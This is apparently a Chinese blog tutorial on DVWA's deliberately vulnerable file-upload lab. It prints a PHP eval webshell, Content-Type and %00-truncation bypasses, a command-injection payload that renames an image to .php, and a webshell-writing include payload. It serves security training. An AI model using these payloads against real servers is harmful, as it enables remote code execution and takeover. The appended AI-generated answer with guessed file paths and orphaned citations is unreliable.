DVWA篇_文件上传

文章详细介绍了如何利用不同级别的文件上传过滤漏洞,包括更改Content-Type、使用%00截断、命令执行和文件包含漏洞来获取服务器权限。在低级别中,可以直接上传.php文件;中级别可通过修改Content-Type或使用%00截断;高级别则需利用命令执行或文件包含漏洞将图片文件转为PHP文件以执行代码。

摘要生成于 C知道 ,由 DeepSeek-R1 满血版支持, 前往体验 >

目录

准备工作:

Low

Medium 

方法一:更改Content-Type类型

方法二:针对文件后缀过滤可以使用%00截断(适用于5.3.4以下的php版本) 

High

方法一:使用命令执行漏洞将文件类型改为php

方法二: 使用文件包含漏洞

 总结:


准备工作:

1.一句话木马:

<?php @eval($_POST['pass']);?>

2.蚁剑

3.Burp Suite

Low

分析代码可知low级别没有进行任何过滤,我们可以直接上传.php文件

使用蚁剑连接 

Medium 

分析代码可知medium级别对content-type以及文件大小进行了过滤,要求为image/jpeg或image/png,我们可以使用Burp Suite抓包改content-type或使用%00进行文件截断(适用于5.3.4以下的php版本)

方法一:更改Content-Type类型

原类型为application/octet-stream,这里我们改为image/jpeg

成功上传后使用蚁剑连接 

方法二:针对文件后缀过滤可以使用%00截断(适用于5.3.4以下的php版本) 

将filename改为test.php.jpeg,再使用%00截断,并进行URL编码

 

这里的content-type因为是.jpeg文件,所以自动修改为image/jpeg了

 再使用蚁剑连接

High

分析代码可知high级别使用白名单的方式进行文件类型过滤,只能是jpg、jpeg、png类型,我们可以使用windows的copy命令来制作图片木马

上传成功

因为上传的是静态文件, 这个时候我们使用蚁剑是连接不了的。有两种方法,第一种是使用命令执行漏洞将文件类型改为php,第二种是使用文件包含漏洞去执行我们上传的文件,执行后会自动生成一个php文件。

方法一:使用命令执行漏洞将文件类型改为php

输入以下代码

127.0.0.1|move ../../hackable/uploads/shell.png ../../hackable/uploads/shell.php

将图片木马文件类型改为php文件类型,成功后会显示以下结果

这时候我们使用蚁剑进行连接

方法二: 使用文件包含漏洞

此方法需要将一句话改为

<?PHP fputs(fopen('shell.php','w'),'<?php eval($_POST[pass])?>');?>

使木马有写功能 

先把security等级跳到low,然后复制刚刚上传的路径,之后利用文件执行漏洞去执行我们的图片木马文件。

可以看到文件执行成功

来到文件包含文件夹下,生成了shell.php文件

 

 使用蚁剑连接

 总结:

DVWA里的文件上传过滤可以抓包修改content-type,也可以使用%00截断,还使用copy命令制作图片木马,然后使用命令执行或者文件包含漏洞getshell

还可以使用前端JS绕过,.htaccess文件上传,竞争条件文件上传等方法

<think>好的,用户的问题是关于DVWA靶场中文件上传漏洞的前端文件路径。我需要先理解用户的具体需求是什么。DVWA(Damn Vulnerable Web Application)是一个用于安全测试的练习平台,用户可能在进行漏洞测试或学习时需要找到相关的文件路径,以便分析前端代码或进行调试。 首先,根据提供的引用资料,特别是引用[3]中的例子,用户访问file1.php时,路径显示为http://172.20.10.5/vulnerabilities/fi/?page=file1.php。这表明文件上传漏洞的模块可能位于vulnerabilities目录下的某个子目录中,比如fi可能对应文件包含漏洞,但用户问的是文件上传漏洞,可能需要确认正确的路径结构。 接下来,查看引用[1]和[4],它们提到DVWA文件上传漏洞处理逻辑,如服务器未对文件类型进行检查,导致可以上传恶意文件。通常,DVWA的不同漏洞类型有不同的路径,例如文件上传可能对应的是upload.php或其他类似文件。但用户需要的是前端文件的路径,也就是在服务器上存放这些前端页面的具体位置。 考虑到DVWA的安装结构,通常其前端文件位于服务器的web目录下,比如在Linux系统中可能是/var/www/html/dvwa/,而具体的漏洞模块可能位于子目录中,如vulnerabilities/upload/。需要确认具体的目录结构,例如: - 文件上传漏洞的前端页面可能位于dvwa/vulnerabilities/upload/index.php - 处理上传的PHP脚本可能在dvwa/vulnerabilities/upload/upload.php 另外,引用[4]提到上传后的提示路径,说明上传后的文件可能存储在服务器的一个特定目录,如dvwa/hackable/uploads/。用户可能需要知道这个上传目录的路径来检查上传的文件。 需要验证这些路径是否正确。例如,在DVWA中,文件上传漏洞的界面通常通过访问http://localhost/dvwa/vulnerabilities/upload/来进入,对应的服务器文件路径应为安装目录下的vulnerabilities/upload/中的文件。 此外,用户可能希望修改前端代码或查看前端验证逻辑,因此需要找到对应的前端文件。例如,前端验证可能通过JavaScript实现,位于dvwa/vulnerabilities/upload/目录下的某个.js文件或嵌入在HTML/PHP中。 总结可能的路径: 1. 前端页面:/dvwa/vulnerabilities/upload/index.php 2. 处理上传的脚本:/dvwa/vulnerabilities/upload/upload.php 3. 上传文件存储目录:/dvwa/hackable/uploads/ 需要提醒用户,实际路径可能因安装配置不同而有所变化,建议检查DVWA的配置文件或服务器目录结构。同时,修改这些文件需要权限,并注意安全风险。</think>在DVWA靶场中,文件上传漏洞的前端文件路径主要涉及以下关键位置: 1. **前端页面路径** - 文件上传功能的前端界面通常位于: $$/dvwa/vulnerabilities/upload/index.php$$ 该文件负责渲染上传表单界面,但实际漏洞可能存在于服务端验证逻辑中[^4]。 2. **文件上传处理脚本** - 上传请求由服务端脚本处理,路径可能为: $$/dvwa/vulnerabilities/upload/upload.php$$ 此脚本未对文件类型、内容进行有效过滤,导致漏洞存在[^1]。 3. **文件存储目录** - 成功上传的文件默认保存在: $$/dvwa/hackable/uploads/$$ 可通过前端提示的路径(如`http://.../hackable/uploads/文件名`)访问已上传文件[^4]。 --- ### 验证方法 1. **查看源码** 通过浏览器开发者工具检查表单的`action`属性,例如: ```html <form enctype="multipart/form-data" action="upload.php" method="POST"> ``` 可确认处理脚本为当前目录下的`upload.php`[^2]。 2. **服务器目录结构** DVWA标准安装中,漏洞模块统一存放在`vulnerabilities/`子目录下,例如: $$/var/www/html/dvwa/vulnerabilities/upload/$$ 包含前端页面、处理脚本和配置文件[^3]。 --- ### 注意事项 - **配置差异**:实际路径可能因安装方式(如XAMPP、Docker)不同而变化,建议通过`config.inc.php`确认根目录。 - **安全风险**:直接修改这些文件可能影响靶场稳定性,操作前建议备份[^1]。
评论 3
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值